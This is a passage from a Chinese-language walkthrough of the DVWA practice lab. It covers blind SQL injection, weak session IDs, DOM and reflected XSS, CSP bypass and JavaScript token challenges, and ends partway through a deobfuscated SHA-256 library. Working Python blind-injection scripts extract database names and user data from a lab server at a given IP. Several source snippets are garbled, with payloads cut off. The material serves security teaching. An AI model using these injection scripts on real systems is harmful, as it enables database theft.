        payload = f"1'+and+if(ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'users')%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆字段
        payload = f"1'+and+if(ascii(substr((select+group_concat(first_name)+from+dvwa.users)%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆数据
        url=url+payload+last
        resp=s.get(url,headers=headers)
        if 'User ID exists in the database.' in resp.text:
            min = mid + 1
        else:
            max = mid
        mid=(min+max)//2
    result += chr(min)
    print(result)

源码：

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				try {
					$exists = (mysqli_num_rows( $result ) > 0);
				} catch(Exception $e) {
					$exists = false;
				}
			}
			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
';
	} else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '
User ID is MISSING from the database.
';
	}

}

?>

跟普通的low级别意义，只不过隔绝了返回的信息，成功则返回存在，使得要使用时间或者其它盲注。

2、Medium

发现0和1返回的结果不一样，直接上脚本

import time
import requests

url = 'http://121.199.77.45/vulnerabilities/sqli_blind/'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
    'Cookie': 'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=medium'
}
flag = ''
for i in range(1, 100):
    min = 1
    max = 130
    mid = int((min + max) / 2)
    while min < max:
        data = {
            "id": f'1^if(ascii(substr((select(database())),{i},1))>{mid},0,1)',
            'Submit': 'Submit'
        }
        resp = requests.post(url, headers=headers, data=data)
        if 'User ID is MISSING from the database.' in resp.text:
            max = mid
        else:
            min = mid + 1
        mid = (min + max) // 2
    flag += chr(mid)
    print(flag)

源码和上面的medium意义的，只是返回的结果统一。1

3、High

直接脚本：

import time
import requests

url = 'http://121.199.77.45/vulnerabilities/sqli_blind/'
flag = ''
for i in range(1, 100):
    min = 1
    max = 130
    mid = int((min + max) / 2)
    while min < max:
        payload=f"id=1'%20and%20if((ascii(substr((select%20database())%2C{i}%2C1))%3E{mid})%2C1%2C0)%23;"
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
            'Cookie':payload+' PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=high'
        }
        resp = requests.post(url, headers=headers)
        if 'User ID is MISSING from the database.' in resp.text:
            max = mid
        else:
            min = mid + 1
        mid = (min + max) // 2
    flag += chr(mid)
    print(flag)

原本想着需要写个脚本先访问弹窗页，然后再带Cookie访问返回页，测试了下发现，直接更改主页Cookie即可，因为弹窗页的作业就是发送Set-Cookie更改主页Cookie，从Cookie中取id数据查询的。

源码：

if( isset( $_COOKIE[ 'id' ] ) ) {
	// Get input
	$id = $_COOKIE[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				// Get results
				try {
					$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
				} catch(Exception $e) {
					$exists = false;
				}
			}

			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
';
	}
	else {
		// Might sleep a random amount
		if( rand( 0, 5 ) == 3 ) {
			sleep( rand( 2, 4 ) );
		}

		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '
User ID is MISSING from the database.
';
	}
}

?>

4、Impossible

源码：

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
	$exists = false;

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		$id = intval ($id);
		switch ($_DVWA['SQLI_DB']) {
			case MYSQL:
				// Check the database
				$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
				$data->bindParam( ':id', $id, PDO::PARAM_INT );
				$data->execute();

				$exists = $data->rowCount();
				break;
			case SQLITE:
				global $sqlite_db_connection;

				$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
				$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
				$result = $stmt->execute();
				$result->finalize();
				if ($result !== false) {
					// There is no way to get the number of rows returned
					// This checks the number of columns (not rows) just
					// as a precaution, but it won't stop someone dumping
					// multiple rows and viewing them one at a time.

					$num_columns = $result->numColumns();
					if ($num_columns == 1) {
						$row = $result->fetchArray();

						$numrows = $row[ 'numrows' ];
						$exists = ($numrows == 1);
					}
				}
				break;
		}

	}

	// Get results
	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
';
	} else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '
User ID is MISSING from the database.
';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

增加了token，并且id必须是整数，而且使用了预编译，返回的报错结果也统一，防止了sql注入。

八、Weak Session IDs

1、Low

源码：

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	if (!isset ($_SESSION['last_session_id'])) {
		$_SESSION['last_session_id'] = 0;
	}
	$_SESSION['last_session_id']++;
	$cookie_value = $_SESSION['last_session_id'];
	setcookie("dvwaSession", $cookie_value);
}
?>

使用post请求，没有Session则先置0，并返回给客户端，每请求一次，dvwaSession的值+1，不安全因为Session的太容易猜测了

2、Medium

源码：

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	$cookie_value = time();
	setcookie("dvwaSession", $cookie_value);
}
?>

以time()时间来作为session，不安全，因为time()产生的数字比较短，而且很容易就能看出来是time()函数的结果，在一定时间内是可以进行爆破的。

3、High

源码：

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	if (!isset ($_SESSION['last_session_id_high'])) {
		$_SESSION['last_session_id_high'] = 0;
	}
	$_SESSION['last_session_id_high']++;
	$cookie_value = md5($_SESSION['last_session_id_high']);
	setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

这里的Cookie的值为md5加密的自增整数值，并且设置了有效期是1小时，规定了服务器路径和域名，但是依旧太简单了，有规律，太容易被破解了，md5好歹加下盐什么的吧。

4、Impossible

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
	$cookie_value = sha1(mt_rand() . time() . "Impossible");
	setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

这个Cookie就比较安全，拼接了随机数+时间+自定义字符串，使用sha-1加密，在不知道随机数种子和自定义字符串的情况下，想要1小时内爆破，几乎不可能。

九、XSS(DOM）

1、Low

源码：

<script>
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("" + decodeURI(lang) + "");
						document.write("----");
					}
					    
					document.write("English");
					document.write("French");
					document.write("Spanish");
					document.write("German");
script>	

直接将default后面的数据插入了HTML页面中

2、Medium

源码：

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, ") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

在后端对

3、High

源码：

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

白名单进行过滤，继续用medium的就行，default数据不发送到后端。

4、Impossible

					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + (lang) + "option>");
						document.write("<option value='' disabled='disabled'>----option>");
					}
					    
					document.write("<option value='English'>Englishoption>");
					document.write("<option value='French'>Frenchoption>");
					document.write("<option value='Spanish'>Spanishoption>");
					document.write("<option value='German'>Germanoption>");
				

对获取到的数据不进行URL解码，而我们GET请求URL中的数据是URL编码过的，相当于使用了编码防止。

十、XSS（Reflected）

1、Low

源码：

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '
Hello ' . $_GET[ 'name' ] . '
';
}

?>

关闭了XSS保护，而且将name参数直接拼接到了页面导致的。

2、Medium

源码：

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '
";
}
$page[ 'body' ] .= '

	
You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:
	
	

';

只信任$headerCSP中的加载的资源，因此要从CSP域名中的资源中触发。

2、Medium

源码：

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# 

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
	" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '

	
Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.
	
	

';

只允许nonce的特定的内敛脚本块，因此使用script要加上给出的nonce参数

3、High

源码：

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
	" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '

	
The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
	
1+2+3+4+5=
	



';

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
	if ("answer" in obj) {
		document.getElementById("answer").innerHTML = obj['answer'];
	}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
	solve_button.addEventListener("click", function() {
		clickButton();
	});
}

header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
	$callback = $_GET['callback'];
} else {
	return "";
}

$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

jsonp.php接受callback参数的，源代码中一旦点击solve即向jsonp.php发送callback为solveSum，jsonp.php返回solveSum({answer:15})触发js的solveSum函数获取15并嵌入页面。因此可以利用include接收内容，调用jsonp.php进行弹窗。

4、Impossible

header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");

echo "solveSum (".json_encode($outp).")";
?>

直接将返回限制死为solveSum。

十三、JavaScript

1、Low

这里的token是前端利用加密生成的。

2、Medium

token只是用了换掉字符串顺序+XX的方法生成

3、High

JS混淆了，上百度找个解密工具

(function() {
    'use strict';
    var ERROR = 'input is invalid type';
    var WINDOW = typeof window === 'object';
    var root = WINDOW ? window : {};
    if (root.JS_SHA256_NO_WINDOW) {
        WINDOW = false
    }
    var WEB_WORKER = !WINDOW && typeof self === 'object';
    var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
    if (NODE_JS) {
        root = global
    } else if (WEB_WORKER) {
        root = self
    }
    var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;
    var AMD = typeof define === 'function' && define.amd;
    var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
    var HEX_CHARS = '0123456789abcdef'.split('');
    var EXTRA = [-2147483648, 8388608, 32768, 128];
    var SHIFT = [24, 16, 8, 0];
    var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];
    var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];
    var blocks = [];
    if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {
        Array.isArray = function(obj) {
            return Object.prototype.toString.call(obj) === '[object Array]'
        }
    }
    if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
        ArrayBuffer.isView = function(obj) {
            return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer
        }
    }
    var createOutputMethod = function(outputType, is224) {
            return function(message) {
                return new Sha256(is224, true).update(message)[outputType]()
            }
        };
    var createMethod = function(is224) {
            var method = createOutputMethod('hex', is224);
            if (NODE_JS) {
                method = nodeWrap(method, is224)
            }
            method.create = function() {
                return new Sha256(is224)
            };
            method.update = function(message) {
                return method.create().update(message)
            };
            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                var type = OUTPUT_TYPES[i];
                method[type] = createOutputMethod(type, is224)
            }
            return method
        };
    var nodeWrap = function(method, is224) {
            var crypto = eval("require('crypto')");
            var Buffer = eval("require('buffer').Buffer");
            var algorithm = is224 ? 'sha224' : 'sha256';
            var nodeMethod = function(message) {
                    if (typeof message === 'string') {
                        return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')
                    } else {
                        if (message === null || message === undefined) {
                            throw new Error(ERROR)
                        } else if (message.constructor === ArrayBuffer) {
                            message = new Uint8Array(message)
                        }
                    }
                    if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {
                        return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')
                    } else {
                        return method(message)
                    }
                };
            return nodeMethod
        };
    var createHmacOutputMethod = function(outputType, is224) {
            return function(key, message) {
                return new HmacSha256(key, is224, true).update(message)[outputType]()
            }
        };
    var createHmacMethod = function(is224) {
            var method = createHmacOutputMethod('hex', is224);
            method.create = function(key) {
                return new HmacSha256(key, is224)
            };
            method.update = function(key, message) {
                return method.create(key).update(message)
            };
            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                var type = OUTPUT_TYPES[i];
                method[type] = createHmacOutputMethod(type, is224)
            }
            return method
        };

    function Sha256(is224, sharedMemory) {
        if (sharedMemory) {
            blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;
            this.blocks = blocks
        } else {
            this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        }
        if (is224) {
            this.h0 = 0xc1059ed8;
            this.h1 = 0x367cd507;
            this.h2 = 0x3070dd17;
            this.h3 = 0xf70e5939;
            this.h4 = 0xffc00b31;
            this.h5 = 0x68581511;
            this.h6 = 0x64f98fa7;
            this.h7 = 0xbefa4fa4
        } else {
            this.h0 = 0x6a09e667;
            this.h1 = 0xbb67ae85;
            this.h2 = 0x3c6ef372;
            this.h3 = 0xa54ff53a;
            this.h4 = 0x510e527f;
            this.h5 = 0x9b05688c;
            this.h6 = 0x1f83d9ab;
            this.h7 = 0x5be0cd19
        }
        this.block = this.start = this.bytes = this.hBytes = 0;
        this.finalized = this.hashed = false;
        this.first = true;
        this.is224 = is224
    }
    Sha256.prototype.update = function(message) {
        if (this.finalized) {
            return
        }
        var notString, type = typeof message;
        if (type !== 'string') {
            if (type === 'object') {
                if (message === null) {
                    throw new Error(ERROR)
                } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {
                    message = new Uint8Array(message)
                } else if (!Array.isArray(message)) {
                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
                        throw new Error(ERROR)
                    }
                }
            } else {
                throw new Error(ERROR)
            }
            notString = true
        }
        var code, index = 0,
            i, length = message.length,
            blocks = this.blocks;
        while (index < length) {
            if (this.hashed) {
                this.hashed = false;
                blocks[0] = this.block;
                blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
            }
            if (notString) {
                for (i = this.start; index < length && i < 64; ++index) {
                    blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]
                }
            } else {
                for (i = this.start; index < length && i < 64; ++index) {
                    code = message.charCodeAt(index);
                    if (code < 0x80) {
                        blocks[i >> 2] |= code << SHIFT[i++ & 3]
                    } else if (code < 0x800) {
                        blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    } else if (code < 0xd800 || code >= 0xe000) {
                        blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    } else {
                        code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
                        blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    }
                }
            }
            this.lastByteIndex = i;
            this.bytes += i - this.start;
            if (i >= 64) {
                this.block = blocks[16];
                this.start = i - 64;
                this.hash();
                this.hashed = true
            } else {
                this.start = i
            }
        }
        if (this.bytes > 4294967295) {
            this.hBytes += this.bytes / 4294967296 << 0;
            this.bytes = this.bytes % 4294967296
        }
        return this
    };
    Sha256.prototype.finalize = function() {
        if (this.finalized) {
            return
        }
        this.finalized = true;
        var blocks = this.blocks,
            i = this.lastByteIndex;
        blocks[16] = this.block;
        blocks[i >> 2] |= EXTRA[i & 3];
        this.block = blocks[16];
        if (i >= 56) {
            if (!this.hashed) {
                this.hash()
            }
            blocks[0] = this.block;
            blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
        }
        blocks[14] = this.hBytes << 3 | this.bytes >>> 29;
        blocks[15] = this.bytes << 3;
        this.hash()
    };
    Sha256.prototype.hash = function() {
        var a = this.h0,
            b = this.h1,
            c = this.h2,
            d = this.h3,
            e = this.h4,
            f = this.h5,
            g = this.h6,
            h = this.h7,
            blocks = this.blocks,
            j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;
        for (j = 16; j < 64; ++j) {
            t1 = blocks[j - 15];
            s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);
            t1 = blocks[j - 2];
            s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);
            blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0
        }
        bc = b & c;
        for (j = 0; j < 64; j += 4) {
            if (this.first) {
                if (this.is224) {
                    ab = 300032;
                    t1 = blocks[0] - 1413257819;
                    h = t1 - 150054599 << 0;
                    d = t1 + 24177077 << 0
                } else {
                    ab = 704751109;
                    t1 = blocks[0] - 210244248;
                    h = t1 - 1521486534 << 0;
                    d = t1 + 143694565 << 0
                }
                this.first = false
            } else {
                s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));
                s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));
                ab = a & b;
                maj = ab ^ (a & c) ^ bc;
                ch = (e & f) ^ (~e & g);
                t1 = h + s1 + ch + K[j] + blocks[j];
                t2 = s0 + maj;
                h = d + t1 << 0;
                d = t1 + t2 << 0
            }
            s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));
            s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));
            da = d & a;
            maj = da ^ (d & b) ^ ab;
            ch = (h & e) ^ (~h & f);
            t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];
            t2 = s0 + maj;
            g = c + t1 << 0;
            c = t1 + t2 << 0;
            s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));
            s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));
            cd = c & d;
            maj = cd ^ (c & a) ^ da;
            ch = (g & h) ^ (~g & e);
            t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];
            t2 = s0 + maj;
            f = b + t1 << 0;
            b = t1 + t2 << 0;
            s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));
            s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));
            bc = b & c;
            maj = bc ^ (b & d) ^ cd;
            ch = (f & g) ^ (~f & h);
            t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];
            t2 = s0 + maj;
            e = a + t1 << 0;
            a = t1 + t2 << 0
        }
        this.h0 = this.h0 + a << 0;
        this.h1 = this.h1 + b << 0;
        this.h2 = this.h2 + c << 0;
        this.h3 = this.h3 + d << 0;
        this.h4 = this.h4 + e << 0;
        this.h5 = this.h5 + f << 0;
        this.h6 = this.h6 + g << 0;
        this.h7 = this.h7 + h << 0
    };
    Sha256.prototype.hex = function() {
        this.finalize();
        var h0 = this.h0,
            h1 = this.h1,
            h2 = this.h2,
            h3 = this.h3,
            h4 = this.h4,
            h5 = this.h5,
            h6 = this.h6,
            h7 = this.h7;
        var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];
        if (!this.is224) {
            hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]
        }
        return hex
    };
    Sha256.prototype.toString = Sha256.prototype.hex;
    Sha256.prototype.digest = function() {
        this.finalize();
        var h0 = this.h0,
            h1 = this.h1,
            h2 = this.h2,
            h3 = this.h3,
            h4 = this.h4,
            h5 = this.h5,
            h6 = this.h6,
            h7 = this.h7;
        var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];
        if (!this.is224) {
            arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)
        }
        return arr
    };
    Sha256.prototype.array = Sha256.prototype.digest;
    Sha256.prototype.arrayBuffer = function() {
        this.finalize();
        var buffer = new ArrayBuffer(this.is224 ? 28 : 32);
        var dataView = new DataView(buffer);
        dataView.setUint32(0, this.h0);
        dataView.setUint32(4, this.h1);
        dataView.setUint32(8, this.h2);
        dataView.setUint32(12, this.h3);
        dataView.setUint32(16, this.h4);
        dataView.setUint32(20, this.h5);
        dataView.setUint32(24, this.h6);
